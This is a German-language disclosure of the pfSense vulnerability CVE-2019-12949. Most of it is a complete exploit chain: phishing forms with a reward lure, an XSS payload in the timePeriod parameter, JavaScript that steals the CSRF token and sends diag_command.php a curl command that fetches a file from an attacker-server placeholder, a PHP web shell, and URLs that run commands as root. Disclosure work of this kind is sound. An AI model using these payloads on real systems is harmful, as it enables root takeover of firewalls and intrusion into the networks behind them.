
CVE-2019-12949
In pfSense 2.4.4-p2 und 2.4.4-p3 kann ein Angreifer, wenn es möglich ist, den authentifizierten Administrator dazu zu bringen, auf einer Phishing-Seite auf einen Button zu klicken, über ding_command.php und rrd_fetch_json.php beliebigen ausführbaren Code auf einen Server hochladen. Danach kann der entfernte Angreifer auf diesem Server beliebige Befehle mit Root-Rechten ausführen.
Forscher: Enter of The Tarantula Team, VinCSS (ein Mitglied von Vingroup)
Angriffsvektor: https://pfSense_IP_Address/rrd_fetch_json.php
Senden Sie eine POST-Anfrage:
<form action="https://[PFsense-domain]/rrd_fetch_json.php" method="post">
<input type="hidden" name="left" value="system-processor"><br>
<input type="hidden" name="right" value="null"><br>
<input type="hidden" name="start" value=""><br>
<input type="hidden" name="end" value=""><br>
<input type="hidden" name="resolution" value="300"><br>
<input type="hidden" name="timePeriod" value="i3i3j<script>alert(1)</script>tz9b1"><br>
<input type="hidden" name="graphtype" value="line"><br>
<input type="hidden" name="invert" value="true"><br>
<input type="hidden" name="refreshInterval" value="0">
<h1>Congratulations on receiving the reward from us</h1>
<h1>Click to receive gifts</h1>
<input type="submit" value="Submit">
</form>
Ein Angreifer kann eine Phishing-Seite wie diese erstellen, um die XSS-Schwachstelle in pfsense auszunutzen:
<form action="https://[PFsense-domain]/rrd_fetch_json.php" method="post">
<input type="hidden" name="left" value="system-processor"><br>
<input type="hidden" name="right" value="null"><br>
<input type="hidden" name="start" value=""><br>
<input type="hidden" name="end" value=""><br>
<input type="hidden" name="resolution" value="300"><br>
<input type="hidden" name="timePeriod" value="i3i3j<script src='https://[Attacker-Server]/payload.js'></script>tz9b1"><br>
<input type="hidden" name="graphtype" value="line"><br>
<input type="hidden" name="invert" value="true"><br>
<input type="hidden" name="refreshInterval" value="0">
<h1>Congratulations on receiving the reward from us</h1>
<h1>Click to receive gifts</h1>
<input type="submit" value="Submit">
</form>
Die Datei payload.js auf dem Server des Angreifers enthält den folgenden JavaScript-Code (Payload):
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "https://[PFsense domain]/diag_command.php", false);
xhr.withCredentials=true;
xhr.send(null);
var resp = xhr.responseText;
console.log(resp);
var start_idx = resp.indexOf('name=\'__csrf_magic\' value="');
var end_idx = resp.indexOf('" />', start_idx);
var token = resp.slice(start_idx + 27, end_idx);
console.log(token);
// now execute the CSRF attack using XHR along with the extracted token
var xhr1 = new XMLHttpRequest();
xhr1.open("POST", "https://[PFsense-domain]/diag_command.php", false);
xhr1.withCredentials=true;
var params = "__csrf_magic="+token+"&txtCommand=curl https://[Attacker-Server]/shell.txt > a.php&submit=EXEC";
xhr1.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr1.setRequestHeader("Content-length", params.length);
xhr1.send(params);
</script>
Die Datei shell.txt auf dem Server des Angreifers enthält beliebige PHP-Webshell-Inhalte, wie folgt:
<?php
system($_REQUEST['cmd']); // allow remote attacker to run commands on victim server
phpinfo(); // show phpinfo
?>
Schließlich bringt der Angreifer die authentifizierten pfsense-Administratoren (Opfer) dazu, die Phishing-Seite aufzurufen und auf der Phishing-Seite auf die Schaltfläche „Submit“ zu klicken. Danach wird das Opfer zur pfsense-Administrationsseite weitergeleitet, und die Webshell des Angreifers wird automatisch erfolgreich auf den pfsense-Server geladen.
Von dort aus kann der entfernte Angreifer auf dem pfsense-Server beliebigen Code als root ausführen:
https://[PFsense-domain]/a.php?cmd=whoami
https://[PFsense-domain]/a.php?cmd=ls